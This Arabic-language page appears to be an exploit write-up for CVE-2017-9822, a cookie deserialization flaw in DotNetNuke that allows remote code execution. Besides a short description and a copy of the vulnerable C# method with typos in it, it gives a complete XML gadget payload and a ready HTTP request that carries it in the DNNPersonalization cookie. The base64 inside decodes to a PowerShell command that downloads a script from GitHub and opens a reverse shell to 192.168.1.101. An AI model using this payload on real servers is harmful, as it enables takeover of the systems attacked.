[CVE-2017-9822] إلغاء تسلسل ملفات تعريف الارتباط في DotNetNuke يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE)

تتأثر إصدارات DotNetNuke (DNN) بين 5.0.0 و9.3.0 بثغرة إلغاء تسلسل تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE). يستخدم DotNetNuke ملف تعريف الارتباط DNNPersonalization لتخزين خيارات التخصيص للمستخدمين المجهولين (أما خيارات المستخدمين المصادق عليهم فتُخزَّن عبر صفحات ملفاتهم الشخصية). يُستخدم ملف تعريف الارتباط هذا عندما يقدّم التطبيق صفحة خطأ 404 المخصصة، وهي أيضًا الإعدادات الافتراضية.

الجزء المعرّض للخطر من كود C# موضح أدناه: DNN Platform/Library/Common/Utilities/XmlUtils.cs

public static Hashtable DeSerializeHashtable(string xmlSource, string rootname)
{
	var HashTable = new Hashtable();

	if (!String.IsNullOrEmpyt(xmlSource))
	{
		try
		{
			var xmlDoc = new XmlDocument();
			xmlDoc.LoadXml(xmlSource);

			foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/item"))
			{
				string key = xmlItem.GetAttribute("key");
				string typeName = xmlItem.GetAttribute("type");
				
				// Create the XmlSerializer
				var xser = new XmlSerializer(Type.GetType(typeName));

				var readder = new XmlTextReadder(new StringReader(xmlItem.InnerXml));

				// Use the Deserialize method to restore the object's state, and store it
				// in the Hashtable
				hashTable.Add(key, xser.Deserialize(reader));
			}
		}
		catch(Exception)
		{
			// Logger.Error(ex); /*Ignore Log because if failed on profile this will log on every request.*/
		}
	}

	return hashTable;
}

<profile> <item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> <ExpandedWrapperOfObjectStateFormatterObjectDataProvider> <ProjectedProperty0> <ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /> <MethodName>Deserialize</MethodName> <MethodParameters> <anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEylQkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUgaWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType> </MethodParameters> </ProjectedProperty0> </ExpandedWrapperOfObjectStateFormatterObjectDataProvider> </item> </profile>

GET /__ HTTP/1.1 Host: host User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Cookie: dnn_IsMobile=False; DNNPersonalization=<profile><item key="key" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfObjectStateFormatterObjectDataProvider><ProjectedProperty0><ObjectInstance p3:type="ObjectStateFormatter" xmlns:p3="http://www.w3.org/2001/XMLSchema-instance" /><MethodName>Deserialize</MethodName><MethodParameters><anyType xmlns:q1="http://www.w3.org/2001/XMLSchema" p5:type="q1:string" xmlns:p5="http://www.w3.org/2001/XMLSchema-instance">/wEylQkAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC3Bzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBDOlxXaW5kb3dzXFN5c3RlbTMyXFdpbmRvd3NQb3dlclNoZWxsXHYxLjBccG93ZXJzaGVsbC5leGUgaWV4IChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpO0ludm9rZS1Qb3dlclNoZWxsVGNwIC1SZXZlcnNlIC1JUEFkZHJlc3MgMTkyLjE2OC4xLjEwMSAtUG9ydCA3NTc1IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfObjectStateFormatterObjectDataProvider></item></profile>

CVE-2017-9822

الأكثر شعبية